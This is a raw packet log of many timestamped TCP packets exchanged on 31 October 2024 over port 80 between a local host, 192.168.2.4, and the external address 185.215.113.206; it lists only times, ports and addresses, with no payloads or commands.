Oct 31, 2024 11:27:23.271904945 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.271919966 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.271930933 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.271960974 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.271972895 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272008896 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.272068977 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272078991 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272089958 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272108078 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.272109985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272123098 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272136927 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.272166014 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.272200108 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272211075 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272222042 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272233963 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272242069 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.272250891 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272259951 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.272288084 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.272317886 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272356987 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.272381067 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272392035 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272418976 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.272435904 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.272496939 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272506952 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272519112 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272530079 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272542000 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.272572994 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.272644043 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272655964 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272665977 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272686005 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.272700071 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.272731066 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272742033 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272759914 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272773027 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.272797108 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.272865057 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272876024 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272886992 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272907972 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.272931099 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.272943974 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272955894 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272968054 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.272993088 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273014069 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273066998 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273080111 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273089886 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273103952 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273117065 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273148060 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273161888 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273171902 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273200035 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273222923 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273226023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273237944 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273271084 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273307085 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273324013 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273341894 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273348093 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273355007 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273366928 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273370028 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273395061 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273415089 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273478985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273490906 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273500919 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273524046 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273549080 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273569107 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273581982 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273592949 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273616076 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273639917 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273751974 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273763895 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273775101 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273787022 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273797035 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273799896 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273813009 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273828030 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273832083 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273845911 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273874998 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273936987 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273955107 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.273972988 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.273998976 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.274024010 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274036884 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274049044 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274074078 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.274099112 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.274168968 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274182081 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274194002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274207115 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274216890 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.274219990 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274233103 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274245977 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.274265051 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.274386883 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274399042 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274410009 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274422884 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274434090 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.274435043 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274450064 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.274452925 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274478912 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.274502993 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.274667978 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274679899 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274692059 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274703026 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274714947 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274715900 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.274729013 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274740934 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274748087 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.274755955 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274766922 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.274768114 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274780989 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274784088 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.274794102 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274807930 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.274816990 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.274843931 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.274974108 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.275006056 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.275015116 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.275017023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.275042057 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.275055885 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.388875961 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.388894081 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.388907909 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.388928890 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.388942003 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.388946056 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.388953924 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.388968945 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.388983011 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.388987064 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389002085 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389018059 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389064074 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389076948 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389089108 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389100075 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389110088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389123917 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389134884 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389137983 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389154911 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389159918 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389180899 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389204979 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389311075 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389322996 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389334917 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389358044 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389358997 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389373064 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389383078 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389394045 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389410019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389415979 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389440060 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389461994 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389496088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389535904 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389622927 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389636993 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389650106 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389662981 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389666080 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389678955 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389691114 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389698029 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389705896 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389714003 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389719009 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389739990 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389765978 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389894009 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389906883 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389919043 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389930964 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389944077 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389945030 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389956951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389967918 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.389971018 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.389986992 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390032053 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.390032053 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.390115023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390127897 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390140057 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390151978 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390163898 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.390163898 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390197039 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.390356064 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390368938 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390378952 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390392065 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390394926 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.390404940 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390415907 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390424967 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.390429974 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390441895 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390455961 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390458107 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.390470982 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390479088 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.390494108 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.390516043 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.390659094 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390671968 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390682936 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390693903 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390695095 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.390707016 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390710115 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.390721083 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390727043 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.390736103 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390742064 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.390749931 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390769958 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.390784979 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.390954971 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390974045 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390985966 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.390995979 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.390997887 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391010046 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391012907 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391026020 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391026974 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391041994 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391041994 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391057014 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391062975 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391071081 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391082048 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391083002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391107082 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391117096 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391309023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391330004 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391341925 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391352892 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391366005 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391367912 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391379118 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391392946 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391392946 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391413927 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391438961 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391453028 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391460896 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391489029 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391639948 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391658068 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391668081 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391680956 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391684055 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391696930 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391709089 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391715050 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391722918 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391732931 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391741991 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391746044 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391761065 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391762018 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391772985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.391787052 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391805887 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391815901 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.391988039 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392005920 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392015934 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392029047 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392050982 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.392054081 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392066956 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392070055 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.392079115 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392091036 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.392091990 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392106056 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392117023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392121077 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.392129898 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392142057 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392149925 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.392154932 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392165899 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392167091 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.392193079 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.392369986 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392380953 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392391920 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392405033 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.392420053 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.392476082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392487049 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392499924 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392513037 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392519951 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.392524004 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392538071 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392548084 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.392550945 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392570972 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392574072 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.392585039 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392592907 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.392599106 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.392615080 CET	49757	80	192.168.2.4	185.215.113.206
